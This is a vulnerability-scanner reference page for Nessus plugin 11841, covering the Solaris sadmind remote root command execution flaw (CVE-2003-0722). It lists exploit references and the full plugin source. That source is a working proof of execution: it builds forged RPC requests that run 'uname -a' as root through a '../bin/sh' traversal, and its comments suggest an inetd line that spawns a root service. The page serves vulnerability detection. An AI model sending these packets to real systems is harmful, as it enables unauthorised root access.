Solaris sadmind AUTH_SYS Credential Remote Command Execution - Nessus

Critical Plugin ID: 11841

This page contains detailed information about the Solaris sadmind AUTH_SYS Credential Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 11841
Name: Solaris sadmind AUTH_SYS Credential Remote Command Execution
Filename: rpc_sadmin2.nasl
Vulnerability Published: 2003-09-13
This Plugin Published: 2003-09-19
Last Modification Time: 2018-11-15
Plugin Version: 1.34
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: rpc_portmap.nasl
Required KB Items [?]: rpc/portmap

Vulnerability Information

Severity: Critical
Vulnerability Published: 2003-09-13
Patch Published: N/A
CVE [?]: CVE-2003-0722
CPE [?]: N/A

Synopsis

The remote RPC service allows execution of arbitrary commands.

Description

The remote host is running the sadmind RPC service. It is possible to misuse this service to execute arbitrary commands on this host as root.

Solution

Apply the appropriate patch referenced in the vendor's advisory.

Public Exploits

Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Solaris sadmind AUTH_SYS Credential Remote Command Execution vulnerability:

Metasploit: exploit/solaris/sunrpc/sadmind_exec
[Solaris sadmind Command Execution]
Exploit-DB: exploits/multiple/remote/16324.rb
[EDB-16324: Solaris Sadmind - Command Execution (Metasploit)]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#

# Greatly improved by H D Moore


include("compat.inc");

if (description)
{
 script_id(11841);
 script_version("1.34");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-2003-0722");
 script_bugtraq_id(8615);
 script_xref(name:"Secunia", value:"9742");

 script_name(english:"Solaris sadmind AUTH_SYS Credential Remote Command Execution");
 script_summary(english:"Executes a command on the remote host");

 script_set_attribute(attribute:"synopsis", value:"The remote RPC service allows execution of arbitrary commands.");
 script_set_attribute(attribute:"description", value:
"The remote host is running the sadmind RPC service.  It is possible to
misuse this service to execute arbitrary commands on this host as
root.");
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1b0a45ca");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Sep/237");
 script_set_attribute(attribute:"see_also", value:"http://download.oracle.com/sunalerts/1000778.1.html");
 script_set_attribute(attribute:"solution", value:"Apply the appropriate patch referenced in the vendor's advisory.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Solaris sadmind Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');

 script_set_attribute(attribute:"vuln_publication_date", value:"2003/09/13");
 script_set_attribute(attribute:"plugin_publication_date", value:"2003/09/19");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2003-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
 script_family(english:"Gain a shell remotely");

 script_dependencie("rpc_portmap.nasl");

 script_require_keys("rpc/portmap");
 exit(0);
}

#
# The script code starts here
#


include("audit.inc");
include("misc_func.inc");
include("nfs_func.inc"); # RPC functions
include("sunrpc_func.inc");


RPC_PROG = 100232;
tcp = 0;
port = get_rpc_port2(program:RPC_PROG, protocol:IPPROTO_UDP);
if (!port) exit(0);
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");

soc = open_sock_udp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

req = "a2bd60db0000000000000002000187880000000a00000001000000010000001c3f6a0f8c000000076578706c6f69740000000000000000000000000000000000000000003f6a0f90000745df0000000000000000000000000000000000000000000000060000000000000000000000000000000400000000000000047f000001000187880000000a000000047f000001000187880000000a000000110000001e000000000000000000000000000000000000003b6578706c6f697400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000673797374656d0000000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f73680000000000041a0000000e41444d5f46575f56455253494f4e000000000003000000040000000100000000000000000000000841444d5f4c414e470000000900000002000000014300000000000000000000000000000d41444d5f524551554553544944000000000000090000001200000011303831303a313031303130313031303a3100000000000000000000000000000941444d5f434c41535300000000000009000000070000000673797374656d000000000000000000000000000e41444d5f434c4153535f564552530000000000090000000400000003322e310000000000000000000000000a41444d5f4d4554484f4400000000000900000016000000152e2e2f2e2e2f2e2e2f2e2e2f2e2e2f62696e2f736800000000000000000000000000000841444d5f484f5354000000090000003c0000003b6578706c6f6974000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f41444d5f434c49454e545f484f5354000000000900000008000000076578706c6f69740000000000000000000000001141444d5f434c49454e545f444f4d41494e00000000000009000000010000000000000000000000000000001141444d5f54494d454f55545f5041524d53000000000000090000001c0000001b54544c3d302050544f3d32302050434e543d322050444c593d33300000000000000000000000000941444d5f46454e43450000000000000900000000000000000000000000000001580000000000000900000003000000022d6300000000000000000000000000015900000000000009000002010000020069640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106e65746d67745f656e646f6661726773";

send(socket:soc, data:hex2raw(s:req));
r = recv(socket:soc, length:512);
if (!r) audit(AUDIT_RESP_NOT, port, 'a request', 'UDP', code:0);

hostname = strstr(r, "Security exception on host");
if(!hostname)exit(0);
hostname = ereg_replace(pattern:".*on host ([^ ]*)\. .*", string:hostname, replace:"\1");

# pad the hostname to a multiple of four bytes
adm_client_host = hostname;
while ((strlen(adm_client_host) % 4) != 0)
 adm_client_host = adm_client_host + '\x00';

# The output command is not piped back to us. We will just check the error code
# sent back by rpc.sadmind
command = "uname -a";

# Other commands could be :
#command = "echo 'Nessus can execute arbitrary commands on this host' > /tmp/nessus.$$";
#
# And ask the user to see if there is a /tmp/nessus.$$ or even :
#
# command = "echo tcpmux stream tcp nowait root /usr/bin/id id > /tmp/nessus; /usr/sbin/inetd -s /tmp/nessus; rm /tmp/nessus;";
#
# And then try to connect to port 1 and get the output of /bin/id. However this is intrusive

command_pad =  crap(data:'\0', length:512 - strlen(command));


pad = padsz(len:strlen(hostname));

rpc = 	rpclong(val:rand()) +
      	rpclong(val:0) +
	    rpclong(val:2) +
	    rpclong(val:100232) +
	    rpclong(val:10) +
	    rpclong(val:1)   +
	    rpclong(val:1);



auth_len = 20 + strlen(hostname) + pad;

auth = 	rpclong(val:auth_len) +
	    rpclong(val:rand()) +
        rpclong(val:strlen(hostname)) +
	    hostname +
	    rpcpad(pad:pad) +
	    rpclong(val:0) +
	    rpclong(val:0) +
	    rpclong(val:0) +
	    rpclong(val:0) +
	    rpclong(val:0);

rpc2 = rpc + auth;


packed_host = hostname + crap(data:'\0', length:59 - strlen(hostname));


header = strcat(
    '\x3f\x6a\x0f\x90',                 # Timestamp
	'\x00\x07\x45\xdf' ,                # Random Field
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04' ,

    '\x7f\x00\x00\x01' ,                # 127.0.0.1
    '\x00\x01\x87\x88' ,                # SADMIND

    '\x00\x00\x00\x0a\x00\x00\x00\x04' ,

    '\x7f\x00\x00\x01' ,                # 127.0.0.1
    '\x00\x01\x87\x88' ,                # SADMIND

    '\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x00' ,

    '\x00\x00\x00\x3b' , packed_host ,

    '\x00\x00\x00\x00\x06' , 'system' ,

    '\x00\x00\x00\x00\x00\x15' , '../../../../../bin/sh' , '\x00\x00\x00');



body = 	strcat('\x00\x00\x00\x0e', 'ADM_FW_VERSION' ,
    '\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00' ,
    '\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x08' , 'ADM_LANG' ,
    '\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00' ,
    '\x00\x01' ,  'C' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x0d' ,  'ADM_REQUESTID' ,
     '\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11' ,
    '0810:1010101010:1' , '\x00\x00\x00' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00' ,

    '\x00\x00\x00\x09' , 'ADM_CLASS' ,
    '\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07' ,
    '\x00\x00\x00\x06' , 'system' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x0e'  ,  'ADM_CLASS_VERS' ,
    '\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04' ,
    '\x00\x00\x00\x03' ,  '2.1' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,


    '\x00\x00\x00\x0a' , 'ADM_METHOD' ,
    '\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16' ,
    '\x00\x00\x00\x15' , '../../../../../bin/sh' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,

    '\x00\x00\x00\x08' , 'ADM_HOST' ,
    '\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b' ,
    packed_host ,

    '\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x0f' , 'ADM_CLIENT_HOST' ,
    '\x00\x00\x00\x00\x09' ,
    rpclong(val:strlen(hostname) + 1) ,
    rpclong(val:strlen(hostname)) ,
    adm_client_host ,
    '\x00\x00\x00\x00' , '\x00\x00\x00\x00' ,
    '\x00\x00\x00\x11' ,  'ADM_CLIENT_DOMAIN' ,
    '\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x11' , 'ADM_TIMEOUT_PARMS' ,
    '\x00\x00\x00\x00\x00' ,
    '\x00\x09\x00\x00\x00\x1c' ,
    '\x00\x00\x00\x1b' , 'TTL=0 PTO=20 PCNT=2 PDLY=30' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x09' , 'ADM_FENCE' ,
    '\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00' ,
    '\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00' ,
    '\x00\x00\x03\x00\x00\x00\x02'  , '-c' ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00' ,
    '\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00' ,
    command , command_pad ,
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10' ,
    'netmgt_endofargs');


packet = rpc2 + header + rpclong(val:strlen(body) + strlen(header) + 4 - 330) + body;

# send three requests for verification
for (x=0; x<3; x++)
{
    soc = open_sock_udp(port);
    if(!soc)exit(0);

    send(socket:soc, data:packet);
    r = recv(socket:soc, length:512);

    if(strlen(r) >= 22)
    {
     if(ord(r[22]) == 0 && ord(r[21]) == 0 && ord(r[20]) == 0 && ord(r[19]) == 0)
     {
      code = substr(r, strlen(r) - 12, strlen(r) - 1);
      if('000000000000000000000000' >< hexstr(code))
      {
       security_hole(port:port, proto:"udp");
       exit(0);
      }
     }
    }
    close(soc);
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/rpc_sadmin2.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\rpc_sadmin2.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/rpc_sadmin2.nasl

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How to Run

Here is how to run the Solaris sadmind AUTH_SYS Credential Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Gain a shell remotely plugin family.
On the right side table select Solaris sadmind AUTH_SYS Credential Remote Command Execution plugin ID 11841.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl rpc_sadmin2.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a rpc_sadmin2.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - rpc_sadmin2.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state rpc_sadmin2.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

8615

Secunia Advisory:

9742

See also:

Similar and related Nessus plugins:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file rpc_sadmin2.nasl version 1.34. For more plugins, visit the Nessus Plugin Library.

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Solaris sadmind AUTH_SYS Credential Remote Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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